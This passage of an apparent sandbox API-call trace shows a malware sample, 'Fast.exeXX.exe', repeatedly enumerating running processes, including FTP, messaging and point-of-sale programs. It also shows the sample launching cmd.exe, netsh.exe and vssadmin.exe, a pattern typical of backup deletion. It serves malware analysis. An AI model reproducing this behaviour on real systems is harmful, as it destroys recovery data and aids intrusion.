pcPriClassBase=8, dwFlags=0x0, szExeFile="ragemedicare.exe")) returned 1 [0085.163] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablet restored processes.exe")) returned 1 [0085.165] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0085.165] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0085.166] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0085.167] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0085.167] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0085.168] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x754, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0085.169] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0085.169] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0085.170] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0085.171] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0085.171] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0085.172] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0085.172] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0085.173] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0085.174] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0085.175] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0085.175] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0085.176] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0085.176] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0085.177] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0085.178] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0085.179] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0085.180] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0085.181] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0085.182] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0085.183] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0085.184] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0085.185] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0085.186] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0085.187] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0085.188] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0085.189] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0085.190] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0085.191] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0085.192] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0085.193] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0085.194] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0085.195] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0085.196] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0085.197] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0085.198] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0085.535] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0085.536] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wax.exe")) returned 1 [0085.536] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed seven.exe")) returned 1 [0085.537] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="camerasrefine.exe")) returned 1 [0085.538] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0085.539] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0085.539] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0085.540] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exeXX.exe")) returned 1 [0085.541] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exeXX.exe")) returned 1 [0085.542] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.543] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0085.544] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.583] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0085.600] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0085.601] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0085.601] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0085.602] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x25c, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0085.603] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x83c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0085.603] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x83c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0085.604] CloseHandle (hObject=0x1c0) returned 1 [0085.604] Sleep (dwMilliseconds=0x1f4) [0086.272] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cc [0086.285] Process32FirstW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0086.286] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0086.287] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0086.287] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0086.288] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0086.289] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0086.289] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0086.290] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0086.290] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0086.291] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0086.292] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.292] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.293] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.294] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.294] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.295] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0086.295] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.296] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.297] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0086.297] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0086.298] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, 